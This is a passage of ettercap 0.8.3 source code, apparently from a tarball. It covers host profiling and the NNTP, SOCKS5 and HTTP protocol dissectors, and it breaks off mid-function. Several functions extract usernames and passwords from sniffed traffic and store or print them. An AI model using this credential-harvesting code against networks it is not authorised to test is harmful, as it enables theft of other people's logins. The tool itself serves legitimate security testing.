will get duplicated hosts with our mac address * this is necessary because check_forwarded() is executed * in ec_ip.c, but here we are getting even arp packets... */ EXECUTE(EC_GBL_SNIFF->check_forwarded, po); if (po->flags & PO_FORWARDED) return; /* * recheck if the packet is compliant with the visualization filters. * we need to redo the test, because here we are hooked to ARP and ICMP * packets that are before the test in ec_decode.c */ po->flags |= PO_IGNORE; EXECUTE(EC_GBL_SNIFF->interesting, po); if ( po->flags & PO_IGNORE ) return; /* * call the add function only if the packet * is interesting... * - ARP packets * - ICMP packets * - DNS packets that contain GW information (they use fake icmp po) */ if ( po->L3.proto == htons(LL_TYPE_ARP) || /* arp packets */ po->L4.proto == NL_TYPE_ICMP || /* icmp packets */ po->L4.proto == NL_TYPE_ICMP6 ) profile_add_host(po); /* * we don't want to log conversations, only * open ports, OSes etc etc ;) */ if ( is_open_port(po->L4.proto, po->L4.src, po->L4.flags) || /* src port is open */ strcmp(po->PASSIVE.fingerprint, "") || /* collected fingerprint */ po->DISSECTOR.banner || /* banner */ po->DISSECTOR.os ) profile_add_host(po); /* * usernames and passwords are to be bound to * destination host, not source. * do it here, search for the right host and add * the username to the right port. */ if ( po->DISSECTOR.user || /* user */ po->DISSECTOR.pass || /* pass */ po->DISSECTOR.info /* info */ ) profile_add_user(po); if ( po->DISSECTOR.advertised_port != 0 && po->DISSECTOR.advertised_proto != 0 ) profile_add_host(po); return; } /* * add the infos to the profiles tables * return the number of hosts added (1 if added, 0 if updated) */ static int profile_add_host(struct packet_object *po) { struct host_profile *h; struct host_profile *c; struct host_profile *last = NULL; char tmp[MAX_ASCII_ADDR_LEN]; /* * do not store profiles for hosts with ip == 0.0.0.0 * they are hosts requesting for a dhcp/bootp reply. * they will get an ip address soon and we are interested * only in the latter. */ if (ip_addr_is_zero(&po->L3.src)) return 0; /* We don't need a profile on ourselves, do we? */ if(!memcmp(&po->L2.src, &EC_GBL_IFACE->mac, MEDIA_ADDR_LEN) || !memcmp(&po->L2.src, &EC_GBL_BRIDGE->mac, MEDIA_ADDR_LEN)) return 0; /* * if the type is FP_HOST_NONLOCAL * search for the GW and mark it */ if (po->PASSIVE.flags & FP_HOST_NONLOCAL) { set_gateway(po->L2.src); /* the mac address of non local should not be saved */ memset(&po->L2.src, 0, MEDIA_ADDR_LEN); } PROFILE_LOCK; /* search if it already exists */ TAILQ_FOREACH(h, &EC_GBL_PROFILES, next) { /* an host is identified by the mac and the ip address */ /* if the mac address is null also update it since it could * be captured as a DHCP packet specifying the GW */ if ((!memcmp(h->L2_addr, po->L2.src, MEDIA_ADDR_LEN) || !memcmp(po->L2.src, "\x00\x00\x00\x00\x00\x00", MEDIA_ADDR_LEN) ) && !ip_addr_cmp(&h->L3_addr, &po->L3.src) ) { update_info(h, po); /* the host was already in the list * return 0 host added */ PROFILE_UNLOCK; return 0; } } PROFILE_UNLOCK; DEBUG_MSG("profile_add_host %s", ip_addr_ntoa(&po->L3.src, tmp)); /* * the host was not found, create a new entry * before the creation check if it has to be stored... */ /* this is a local and we want only remote */ if ((po->PASSIVE.flags & FP_HOST_LOCAL) && (EC_GBL_CONF->store_profiles == ONLY_REMOTE_PROFILES)) return 0; /* this is remote and we want only local */ if ((po->PASSIVE.flags & FP_HOST_NONLOCAL) && (EC_GBL_CONF->store_profiles == ONLY_LOCAL_PROFILES)) return 0; /* create the new host */ SAFE_CALLOC(h, 1, sizeof(struct host_profile)); PROFILE_LOCK; /* fill the structure with the collected infos */ update_info(h, po); /* search the right point to inser it (ordered ascending) */ TAILQ_FOREACH(c, &EC_GBL_PROFILES, next) { if ( ip_addr_cmp(&c->L3_addr, &h->L3_addr) > 0 ) break; last = c; } if (TAILQ_FIRST(&EC_GBL_PROFILES) == NULL) TAILQ_INSERT_HEAD(&EC_GBL_PROFILES, h, next); else if (c != NULL) TAILQ_INSERT_BEFORE(c, h, next); else TAILQ_INSERT_AFTER(&EC_GBL_PROFILES, last, h, next); PROFILE_UNLOCK; DEBUG_MSG("profile_add_host: ADDED"); return 1; } /* set the info in a host profile */ static void update_info(struct host_profile *h, struct packet_object *po) { /* if it is marked as the gateway or unkown, don't update */ if ( !(h->type & FP_GATEWAY) && !(h->type & FP_UNKNOWN) ) h->type = po->PASSIVE.flags; /* update the mac address only if local or unknown */ if (h->type & FP_HOST_LOCAL || h->type == FP_UNKNOWN) memcpy(h->L2_addr, po->L2.src, MEDIA_ADDR_LEN); /* the ip address */ memcpy(&h->L3_addr, &po->L3.src, sizeof(struct ip_addr)); /* the distance in HOP */ if (po->L3.ttl > 1) h->distance = TTL_PREDICTOR(po->L3.ttl) - po->L3.ttl + 1; else h->distance = po->L3.ttl; /* get the hostname */ host_iptoa(&po->L3.src, h->hostname); if (po->DISSECTOR.os && h->os == NULL) h->os = strdup(po->DISSECTOR.os); /* * update the fingerprint only if there isn't a previous one * or if the previous fingerprint was an ACK * fingerprint. SYN fingers are more reliable */ if (po->PASSIVE.fingerprint[FINGER_TCPFLAG] != '\0' && (h->fingerprint[FINGER_TCPFLAG] == '\0' || h->fingerprint[FINGER_TCPFLAG] == 'A') ) memcpy(h->fingerprint, po->PASSIVE.fingerprint, FINGER_LEN); /* add the open port */ update_port_list(h, po); if (po->DISSECTOR.advertised_proto != 0 && po->DISSECTOR.advertised_port != 0) update_port_list_with_advertised(h, po->DISSECTOR.advertised_proto, po->DISSECTOR.advertised_port); } /* * search the host with this L2_addr * and mark it as the GW */ static void set_gateway(u_char *L2_addr) { struct host_profile *h; /* skip null mac addresses */ if (!memcmp(L2_addr, "\x00\x00\x00\x00\x00\x00", MEDIA_ADDR_LEN)) return; PROFILE_LOCK; TAILQ_FOREACH(h, &EC_GBL_PROFILES, next) { if (!memcmp(h->L2_addr, L2_addr, MEDIA_ADDR_LEN) ) { h->type |= FP_GATEWAY; PROFILE_UNLOCK; return; } } PROFILE_UNLOCK; } /* * update the list of open ports */ static void update_port_list(struct host_profile *h, struct packet_object *po) { struct open_port *o; struct open_port *p; struct open_port *last = NULL; /* search for an existing port */ LIST_FOREACH(o, &(h->open_ports_head), next) { if (o->L4_proto == po->L4.proto && o->L4_addr == po->L4.src) { /* set the banner for the port */ if (o->banner == NULL && po->DISSECTOR.banner) o->banner = strdup(po->DISSECTOR.banner); /* already logged */ return; } } /* skip this port, the packet was logged for * another reason, not the open port */ if ( !is_open_port(po->L4.proto, po->L4.src, po->L4.flags) ) return; DEBUG_MSG("update_port_list"); /* create a new entry */ SAFE_CALLOC(o, 1, sizeof(struct open_port)); o->L4_proto = po->L4.proto; o->L4_addr = po->L4.src; /* search the right point to inser it (ordered ascending) */ LIST_FOREACH(p, &(h->open_ports_head), next) { if ( ntohs(p->L4_addr) > ntohs(o->L4_addr) ) break; last = p; } /* insert in the right position */ if (LIST_FIRST(&(h->open_ports_head)) == NULL) LIST_INSERT_HEAD(&(h->open_ports_head), o, next); else if (p != NULL) LIST_INSERT_BEFORE(p, o, next); else LIST_INSERT_AFTER(last, o, next); } static void update_port_list_with_advertised(struct host_profile *h, uint8_t L4_proto, uint16_t L4_src) { struct open_port *o; struct open_port *p; struct open_port *last = NULL; /* search for an existing port */ LIST_FOREACH(o, &(h->open_ports_head), next) { if (o->L4_proto == L4_proto && o->L4_addr == L4_src) { // already logged return; } } DEBUG_MSG("update_port_list_with_advertised"); /* create a new entry */ SAFE_CALLOC(o, 1, sizeof(struct open_port)); o->L4_proto = L4_proto; o->L4_addr = L4_src; /* search the right point to inser it (ordered ascending) */ LIST_FOREACH(p, &(h->open_ports_head), next) { if ( ntohs(p->L4_addr) > ntohs(o->L4_addr) ) break; last = p; } /* insert in the right position */ if (LIST_FIRST(&(h->open_ports_head)) == NULL) LIST_INSERT_HEAD(&(h->open_ports_head), o, next); else if (p != NULL) LIST_INSERT_BEFORE(p, o, next); else LIST_INSERT_AFTER(last, o, next); } /* * update the users list */ static int profile_add_user(struct packet_object *po) { struct host_profile *h; struct open_port *o = NULL; struct active_user *u; struct active_user *a; struct active_user *last = NULL; int found = 0; /* no info to update */ if (po->DISSECTOR.user == NULL || po->DISSECTOR.pass == NULL) return 0; DEBUG_MSG("profile_add_user"); PROFILE_LOCK; /* search the right port on the right host */ TAILQ_FOREACH(h, &EC_GBL_PROFILES, next) { /* right host */ if ( !ip_addr_cmp(&h->L3_addr, &po->L3.dst) ) { LIST_FOREACH(o, &(h->open_ports_head), next) { /* right port and proto */ if (o->L4_proto == po->L4.proto && o->L4_addr == po->L4.dst) { found = 1; break; } } } /* if already found, exit the loop */ if (found) break; } /* * the port was not found... possible ? * yes, but extremely rarely. * don't worry, we have lost this for now, * but the next time it will be captured. */ if (!found || o == NULL) { PROFILE_UNLOCK; return 0; } /* search if the user was already logged */ LIST_FOREACH(u, &(o->users_list_head), next) { if (!strcmp(u->user, po->DISSECTOR.user) && !strcmp(u->pass, po->DISSECTOR.pass) && !ip_addr_cmp(&u->client, &po->L3.src)) { PROFILE_UNLOCK; return 0; } } SAFE_CALLOC(u, 1, sizeof(struct active_user)); /* if there are infos copy it, else skip */ if (po->DISSECTOR.user && po->DISSECTOR.pass) { u->user = strdup(po->DISSECTOR.user); u->pass = strdup(po->DISSECTOR.pass); u->failed = po->DISSECTOR.failed; /* save the source of the connection */ memcpy(&u->client, &po->L3.src, sizeof(struct ip_addr)); } else { SAFE_FREE(u); PROFILE_UNLOCK; return 0; } if (po->DISSECTOR.info) u->info = strdup(po->DISSECTOR.info); /* search the right point to inser it (ordered alphabetically) */ LIST_FOREACH(a, &(o->users_list_head), next) { if ( strcmp(a->user, u->user) > 0 ) break; last = a; } /* insert in the right position */ if (LIST_FIRST(&(o->users_list_head)) == NULL) LIST_INSERT_HEAD(&(o->users_list_head), u, next); else if (a != NULL) LIST_INSERT_BEFORE(a, u, next); else LIST_INSERT_AFTER(last, u, next); PROFILE_UNLOCK; return 1; } /* * purge local hosts from the list */ void profile_purge_local(void) { DEBUG_MSG("profile_purge_local"); profile_purge(FP_HOST_LOCAL); return; } /* * purge local hosts from the list */ void profile_purge_remote(void) { DEBUG_MSG("profile_purge_remote"); profile_purge(FP_HOST_NONLOCAL); return; } /* * purge all the host list */ void profile_purge_all(void) { DEBUG_MSG("profile_purge_all"); profile_purge( FP_HOST_LOCAL | FP_HOST_NONLOCAL ); return; } /* * do the actual elimination */ static void profile_purge(int flags) { struct host_profile *h, *tmp_h = NULL; struct open_port *o, *tmp_o = NULL; struct active_user *u, *tmp_u = NULL; PROFILE_LOCK; TAILQ_FOREACH_SAFE(h, &EC_GBL_PROFILES, next, tmp_h) { /* the host matches the flags */ if (h->type & flags) { /* free all the alloc'd ports */ LIST_FOREACH_SAFE(o, &(h->open_ports_head), next, tmp_o) { SAFE_FREE(o->banner); LIST_FOREACH_SAFE(u, &(o->users_list_head), next, tmp_u) { /* free the current infos */ SAFE_FREE(u->user); SAFE_FREE(u->pass); SAFE_FREE(u->info); /* remove from the list */ LIST_REMOVE(u, next); SAFE_FREE(u); } LIST_REMOVE(o, next); SAFE_FREE(o); } SAFE_FREE(h->os); TAILQ_REMOVE(&EC_GBL_PROFILES, h, next); SAFE_FREE(h); } } PROFILE_UNLOCK; } /* * convert the LOCAL profiles into the hosts list * (created by the initial scan) * this is useful to start in silent mode and collect * the list in passive mode. */ int profile_convert_to_hostlist(void) { struct host_profile *h; int count = 0; /* first, delete the hosts list */ del_hosts_list(); /* now parse the profile list and create the hosts list */ PROFILE_LOCK; TAILQ_FOREACH(h, &EC_GBL_PROFILES, next) { /* add only local hosts */ if (h->type & FP_HOST_LOCAL) { /* the actual add */ add_host(&h->L3_addr, h->L2_addr, h->hostname); count++; } } PROFILE_UNLOCK; return count; } /* * fill the desc and return the next/prev element */ void * profile_print(int mode, void *list, char **desc, size_t len) { struct host_profile *h = (struct host_profile *)list; struct host_profile *hl; char tmp[MAX_ASCII_ADDR_LEN]; /* NULL is used to retrieve the first element */ if (list == NULL) return TAILQ_FIRST(&EC_GBL_PROFILES); /* the caller wants the description */ if (desc != NULL) { struct open_port *o; struct active_user *u; int found = 0; #ifdef HAVE_GEOIP size_t slen; #endif /* search at least one account */ LIST_FOREACH(o, &(h->open_ports_head), next) { LIST_FOREACH(u, &(o->users_list_head), next) { found = 1; } } ip_addr_ntoa(&h->L3_addr, tmp); snprintf(*desc, len, "%c %15s %s", (found) ? '*' : ' ', tmp, h->hostname); #ifdef HAVE_GEOIP /* determine current string length */ slen = strlen(*desc); /* check if enough space is available to append the GeoIP info */ if (len - slen > 14 && EC_GBL_CONF->geoip_support_enable) { snprintf(*desc + slen, len - slen, ", %s", geoip_country_by_ip(&h->L3_addr)); } #endif } /* return the next/prev/current to the caller */ switch (mode) { case -1: return TAILQ_PREV(h, gbl_ptail, next); break; case +1: return TAILQ_NEXT(h, next); break; case 0: /* if exists in the list, return it */ TAILQ_FOREACH(hl, &EC_GBL_PROFILES, next) { if (hl == h) return h; } /* else, return NULL */ return NULL; break; default: return list; break; } return NULL; } /* * dump the whole profile list into an eci file */ int profile_dump_to_file(char *filename) { struct log_fd fd; char eci[strlen(filename)+5]; struct host_profile *h; struct open_port *o; struct active_user *u; struct packet_object po; DEBUG_MSG("profile_dump_to_file: %s", filename); /* append the extension */ snprintf(eci, strlen(filename)+5, "%s.eci", filename); if (EC_GBL_OPTIONS->compress) fd.type = LOG_COMPRESSED; else fd.type = LOG_UNCOMPRESSED; /* open the file for dumping */ if (log_open(&fd, eci) != E_SUCCESS) return -E_FATAL; /* this is an INFO file */ log_write_header(&fd, LOG_INFO); /* now parse the profile list and dump to the file */ PROFILE_LOCK; TAILQ_FOREACH(h, &EC_GBL_PROFILES, next) { memset(&po, 0, sizeof(struct packet_object)); /* create the po for logging */ memcpy(&po.L2.src, h->L2_addr, MEDIA_ADDR_LEN); memcpy(&po.L3.src, &h->L3_addr, sizeof(struct ip_addr)); /* fake the distance by subtracting it from a power of 2 */ po.L3.ttl = 128 - h->distance + 1; po.PASSIVE.flags = h->type; memcpy(&po.PASSIVE.fingerprint, h->fingerprint, FINGER_LEN); /* log for each host */ log_write_info_arp_icmp(&fd, &po); /* log the info. needed to record the fingerprint. * the above function will not log it */ log_write_info(&fd, &po); LIST_FOREACH(o, &(h->open_ports_head), next) { memcpy(&po.L2.src, h->L2_addr, MEDIA_ADDR_LEN); memcpy(&po.L3.src, &h->L3_addr, sizeof(struct ip_addr)); memset(&po.PASSIVE.fingerprint, 0, FINGER_LEN); po.L4.src = o->L4_addr; /* put the fake syn+ack to impersonate an open port */ po.L4.flags = TH_SYN | TH_ACK; po.L4.proto = o->L4_proto; /* log the packet for the open port */ log_write_info(&fd, &po); po.DISSECTOR.banner = o->banner; /* log for the banner */ if (o->banner) log_write_info(&fd, &po); LIST_FOREACH(u, &(o->users_list_head), next) { memcpy(&po.L3.dst, &h->L3_addr, sizeof(struct ip_addr)); /* the source addr is the client address */ memcpy(&po.L3.src, &u->client, sizeof(struct ip_addr)); /* to exclude the open port check */ po.L4.flags = TH_PSH; po.L4.dst = o->L4_addr; po.L4.src = 0; po.DISSECTOR.user = u->user; po.DISSECTOR.pass = u->pass; po.DISSECTOR.info = u->info; po.DISSECTOR.failed = u->failed; /* log for each account: * the host must be on the dest */ log_write_info(&fd, &po); } } } PROFILE_UNLOCK; /* close the file */ log_close(&fd); return E_SUCCESS; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/dissectors/0000755000175000017500000000000013505247364016145 5ustar koeppeakoeppeaettercap-0.8.3/src/dissectors/ec_nntp.c0000644000175000017500000001142213505247364017737 0ustar koeppeakoeppea/* ettercap -- dissector NNTP -- TCP 119 Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ /* * The authentication schema can be found here: * * ftp://ftp.rfc-editor.org/in-notes/rfc2980.txt * */ #include #include #include #include #include /* protos */ FUNC_DECODER(dissector_nntp); void nntp_init(void); /************************************************/ /* * this function is the initializer. * it adds the entry in the table of registered decoder */ void __init nntp_init(void) { dissect_add("nntp", APP_LAYER_TCP, 119, dissector_nntp); sslw_dissect_add("nntps", 563, dissector_nntp, SSL_ENABLED); } FUNC_DECODER(dissector_nntp) { DECLARE_DISP_PTR_END(ptr, end); struct ec_session *s = NULL; void *ident = NULL; char tmp[MAX_ASCII_ADDR_LEN]; /* don't complain about unused var */ (void) DECODE_DATA; (void) DECODE_DATALEN; (void) DECODED_LEN; /* the connection is starting... create the session */ CREATE_SESSION_ON_SYN_ACK("nntp", s, dissector_nntp); CREATE_SESSION_ON_SYN_ACK("nntps", s, dissector_nntp); /* check if it is the first packet sent by the server */ IF_FIRST_PACKET_FROM_SERVER_SSL("nntp", "nntps", s, ident, dissector_nntp) { DEBUG_MSG("\tdissector_nntp BANNER"); /* * get the banner * ptr + 4 to skip the initial 200 response */ if (!strncmp((const char*)ptr, "200", 3)) { PACKET->DISSECTOR.banner = strdup((const char*)ptr + 4); /* remove the \r\n */ if ( (ptr = (u_char*)strchr(PACKET->DISSECTOR.banner, '\r')) != NULL ) *ptr = '\0'; } } ENDIF_FIRST_PACKET_FROM_SERVER(s, ident) /* skip messages coming from the server */ if (FROM_SERVER("nntp", PACKET) || FROM_SERVER("nntps", PACKET)) return NULL; /* skip empty packets (ACK packets) */ if (PACKET->DATA.len == 0) return NULL; DEBUG_MSG("NNTP --> TCP dissector_nntp"); /* skip the whitespaces at the beginning */ while(*ptr == ' ' && ptr != end) ptr++; /* reached the end */ if (ptr == end) return NULL; /* harvest the username */ if ( !strncasecmp((const char*)ptr, "AUTHINFO USER ", 14) ) { DEBUG_MSG("\tDissector_nntp USER"); /* create the session */ dissect_create_session(&s, PACKET, DISSECT_CODE(dissector_nntp)); ptr += 14; /* if not null, free it */ SAFE_FREE(s->data); /* fill the session data */ s->data = strdup((const char*)ptr); s->data_len = strlen((const char*)ptr); /* remove the \r\n */ if ( (ptr = (u_char*)strchr(s->data,'\r')) != NULL ) *ptr = '\0'; /* save the session */ session_put(s); return NULL; } /* harvest the password */ if ( !strncasecmp((const char*)ptr, "AUTHINFO PASS ", 14) ) { DEBUG_MSG("\tDissector_nntp PASS"); ptr += 14; /* create an ident to retrieve the session */ dissect_create_ident(&ident, PACKET, DISSECT_CODE(dissector_nntp)); /* retrieve the session and delete it */ if (session_get_and_del(&s, ident, DISSECT_IDENT_LEN) == -E_NOTFOUND) { SAFE_FREE(ident); return NULL; } /* check that the user was sent before the pass */ if (s->data == NULL) { SAFE_FREE(ident); return NULL; } /* fill the structure */ PACKET->DISSECTOR.user = strdup(s->data); PACKET->DISSECTOR.pass = strdup((const char*)ptr); if ( (ptr = (u_char*)strchr(PACKET->DISSECTOR.pass, '\r')) != NULL ) *ptr = '\0'; /* free the session */ session_free(s); SAFE_FREE(ident); DISSECT_MSG("NNTP : %s:%d -> USER: %s PASS: %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), ntohs(PACKET->L4.dst), PACKET->DISSECTOR.user, PACKET->DISSECTOR.pass); return NULL; } return NULL; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/dissectors/ec_socks.c0000644000175000017500000001060513505247364020104 0ustar koeppeakoeppea/* ettercap -- dissector SOCKS5 -- TCP 1080 Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include /* protos */ FUNC_DECODER(dissector_socks); void socks_init(void); #define USER_PASS 0x02 #define NO_AUTH 0x00 /************************************************/ /* * this function is the initializer. * it adds the entry in the table of registered decoder */ void __init socks_init(void) { dissect_add("socks", APP_LAYER_TCP, 1080, dissector_socks); } FUNC_DECODER(dissector_socks) { DECLARE_DISP_PTR_END(ptr, end); struct ec_session *s = NULL; void *ident = NULL; char tmp[MAX_ASCII_ADDR_LEN]; u_int16 d_len; /* We don't want heap overflows :) */ /* don't complain about unused var */ (void)end; (void) DECODE_DATA; (void) DECODE_DATALEN; (void) DECODED_LEN; /* Skip ACK packets */ if (PACKET->DATA.len == 0) return NULL; /* Check the version */ if (ptr[0] != 0x05) return NULL; /* Packets coming from the server */ if (FROM_SERVER("socks", PACKET)) { /* Is this an auth-scheme accept message? */ if (PACKET->DATA.len != 2) return NULL; DEBUG_MSG("\tdissector_socks BANNER"); PACKET->DISSECTOR.banner = strdup("socks v5"); /* If the server didn't accepted user/pass scheme */ if (ptr[1] != USER_PASS && ptr[1] != NO_AUTH) return NULL; dissect_create_ident(&ident, PACKET, DISSECT_CODE(dissector_socks)); /* if the session does not exist... */ if (session_get(&s, ident, DISSECT_IDENT_LEN) == -E_NOTFOUND) { /* create the new session */ dissect_create_session(&s, PACKET, DISSECT_CODE(dissector_socks)); if (ptr[1] == NO_AUTH) s->data = strdup("NO AUTH"); session_put(s); } } else { /* Packets coming from the client */ dissect_create_ident(&ident, PACKET, DISSECT_CODE(dissector_socks)); /* Only if the server accepted user/pass scheme */ if (session_get(&s, ident, DISSECT_IDENT_LEN) == E_SUCCESS) { DEBUG_MSG("\tDissector_socks USER/PASSWORD"); /* No Auth required */ if (s->data) { PACKET->DISSECTOR.user = strdup("SOCKSv5"); PACKET->DISSECTOR.pass = strdup("No auth required"); DISSECT_MSG("SOCKS5 : %s:%d -> No Auth Required\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), ntohs(PACKET->L4.dst)); } else { /* User/pass */ /* Username len */ d_len = *(++ptr); /* Save the username (take care of the null termination) */ SAFE_CALLOC(PACKET->DISSECTOR.user, d_len + 1, sizeof(char)); memcpy(PACKET->DISSECTOR.user, ++ptr, d_len); /* Reach the password */ ptr += d_len; d_len = *ptr; /* Save the password (take care of the null termination) */ SAFE_CALLOC(PACKET->DISSECTOR.pass, d_len + 1, sizeof(char)); memcpy(PACKET->DISSECTOR.pass, ++ptr, d_len); DISSECT_MSG("SOCKS5 : %s:%d -> USER: %s PASS: %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), ntohs(PACKET->L4.dst), PACKET->DISSECTOR.user, PACKET->DISSECTOR.pass); } dissect_wipe_session(PACKET, DISSECT_CODE(dissector_socks)); } } SAFE_FREE(ident); return NULL; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/dissectors/ec_http.c0000644000175000017500000006457413505247364017757 0ustar koeppeakoeppea/* ettercap -- dissector http and proxy -- TCP 80, 8080 Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #include #include /* globals */ #define USER 0 #define PASS 1 struct http_status { u_char c_status; #define POST_WAIT_DELIMITER 1 #define POST_LAST_CHANCE 2 #define NTLM_WAIT_RESPONSE 3 #define PROXY_WAIT_OK 4 #define PROXY_WAIT_DELIMITER 5 u_char c_data[150]; /* XXX - Manage this array dinamically (with session_destroyer) */ }; typedef struct { u_int16 len; u_int16 maxlen; u_int32 offset; }tSmbStrHeader; typedef struct { char ident[8]; u_int32 msgType; }tSmbStdHeader; typedef struct { char ident[8]; u_int32 msgType; tSmbStrHeader uDomain; u_int32 flags; u_int8 challengeData[8]; u_int8 reserved[8]; tSmbStrHeader emptyString; u_int8 buffer[1024]; u_int32 bufIndex; }tSmbNtlmAuthChallenge; typedef struct { char ident[8]; u_int32 msgType; tSmbStrHeader lmResponse; tSmbStrHeader ntResponse; tSmbStrHeader uDomain; tSmbStrHeader uUser; tSmbStrHeader uWks; tSmbStrHeader sessionKey; u_int32 flags; u_int8 buffer[1024]; u_int32 bufIndex; }tSmbNtlmAuthResponse; struct http_field_entry { char *name; SLIST_ENTRY(http_field_entry) next; }; static SLIST_HEAD(, http_field_entry) http_fields[2]; /* protos */ FUNC_DECODER(dissector_http); void http_init(void); static void Parse_Method_Get(char *ptr, struct packet_object *po); static void Parse_Method_Post(char *ptr, struct packet_object *po); static void Decode_Url(char *src); static int Check_CONNECT(char *ptr, struct packet_object *po); static void Find_Url(char *to_parse, char **ret); static void Find_Url_Referer(char *to_parse, char **ret); static void Parse_Post_Payload(char *ptr, struct http_status *conn_status, struct packet_object *po); static void Print_Pass(struct packet_object *po); static void Get_Banner(char *ptr, struct packet_object *po); static u_char Parse_Form(char *to_parse, char **ret, int mode); static int Parse_Passport_Auth(char *from_here, struct packet_object *po); static int Parse_NTLM_Auth(char *ptr, char *from_here, struct packet_object *po); static int Parse_Basic_Auth(char *ptr, char *from_here, struct packet_object *po); static int Parse_User_Agent(char *end, char *from_here, struct packet_object *po); static char *unicodeToString(char *p, size_t len); static void dumpRaw(char *str, unsigned char *buf, size_t len); int http_fields_init(void); #define CVAL(buf,pos) (((unsigned char *)(buf))[pos]) #define PVAL(buf,pos) ((unsigned)CVAL(buf,pos)) #define SVAL(buf,pos) (PVAL(buf,pos)|PVAL(buf,(pos)+1)<<8) #define IVAL(buf,pos) (SVAL(buf,pos)|SVAL(buf,(pos)+2)<<16) #define GetUnicodeString(structPtr, header) unicodeToString(((char*)structPtr) + IVAL(&structPtr->header.offset,0) , SVAL(&structPtr->header.len,0)/2) /************************************************/ /* * this function is the initializer. * it adds the entry in the table of registered decoder */ void __init http_init(void) { sslw_dissect_add("https", 443, dissector_http, SSL_ENABLED); sslw_dissect_add("proxy", 8080, dissector_http, SSL_DISABLED); dissect_add("http", APP_LAYER_TCP, 80, dissector_http); } FUNC_DECODER(dissector_http) { DECLARE_DISP_PTR_END(ptr, end); struct ec_session *s = NULL; void *ident = NULL; struct http_status *conn_status; char *from_here; /* unused variable */ (void)end; (void) DECODE_DATA; (void) DECODE_DATALEN; (void) DECODED_LEN; /* skip empty packets (ACK packets) */ if (PACKET->DATA.len == 0) return NULL; /* XXX - This way we won't catch ProxyAuth on CONNECT */ if (Check_CONNECT((char*)ptr, PACKET)) return NULL; /* HOOK POINT: HOOK_PROTO_HTTP */ hook_point(HOOK_PROTO_HTTP, PACKET); /* Parse client requests. * Check the request type first. */ if (FROM_CLIENT("http", PACKET) || FROM_CLIENT("proxy", PACKET) || FROM_CLIENT("https", PACKET)) { /* Check Proxy or WWW auth first * then password in the GET or POST. */ if ((from_here = strstr((const char*)ptr, "Authorization: Passport")) && Parse_Passport_Auth(from_here + strlen("Authorization: Passport"), PACKET)); else if ((from_here = strstr((const char*)ptr, ": NTLM ")) && Parse_NTLM_Auth((char*)ptr, from_here + strlen(": NTLM "), PACKET)); else if ((from_here = strstr((const char*)ptr, ": Basic ")) && Parse_Basic_Auth((char*)ptr, from_here + strlen(": Basic "), PACKET)); else if ((from_here = strstr((const char*)ptr, "User-Agent: ")) && Parse_User_Agent(end, from_here + strlen("User-Agent: "), PACKET)); else if (!strncmp((const char*)ptr, "GET ", 4)) Parse_Method_Get((char*)ptr + strlen("GET "), PACKET); else if (!strncmp((const char*)ptr, "POST ", 5)) Parse_Method_Post((char*)ptr + strlen("POST "), PACKET); else { dissect_create_ident(&ident, PACKET, DISSECT_CODE(dissector_http)); if (session_get(&s, ident, DISSECT_IDENT_LEN) == E_SUCCESS) { conn_status = (struct http_status *) s->data; /* Are we waiting for post termination? */ if (conn_status->c_status == POST_WAIT_DELIMITER || conn_status->c_status == POST_LAST_CHANCE) Parse_Post_Payload((char*)ptr, conn_status, PACKET); } SAFE_FREE(ident); } } else { /* Server Replies */ if (!strncmp((const char*)ptr, "HTTP", 4)) { Get_Banner((char*)ptr, PACKET); /* Since the server replies there's no need to * wait for POST termination or client response */ dissect_wipe_session(PACKET, DISSECT_CODE(dissector_http)); /* Check Proxy or WWW Auth (server challenge) */ /* XXX - Is the NTLM challenge always in the same * packet as HTTP header? Otherwise put these lines * out from the if (decrease performances, checks all pcks) */ if ((from_here = strstr((const char*)ptr, ": NTLM "))) Parse_NTLM_Auth((char*)ptr, from_here + strlen(": NTLM "), PACKET); } } return NULL; } /* Set the SSL flag (for ssl wrapper) when the CONNECT is finished */ static int Check_CONNECT(char *ptr, struct packet_object *po) { void *ident = NULL; struct ec_session *s = NULL; struct http_status *conn_status = NULL; /* If we don't activate SSL wrappers we don't need to trace CONNECT */ if (!EC_GBL_CONF->aggressive_dissectors || EC_GBL_OPTIONS->unoffensive || EC_GBL_OPTIONS->read) return 0; dissect_create_ident(&ident, po, DISSECT_CODE(dissector_http)); if (session_get(&s, ident, DISSECT_IDENT_LEN) == E_SUCCESS) { conn_status = (struct http_status *) s->data; if (FROM_SERVER("proxy", po)) { if (conn_status->c_status == PROXY_WAIT_OK && !strncmp(ptr + 8, " 200 ", 5)) conn_status->c_status = PROXY_WAIT_DELIMITER; if (conn_status->c_status == PROXY_WAIT_DELIMITER && (strstr(ptr, "\r\n\r\n") || (ptr[0]=='\r' && ptr[1]=='\n'))) { dissect_wipe_session(po, DISSECT_CODE(dissector_http)); po->flags |= PO_SSLSTART; 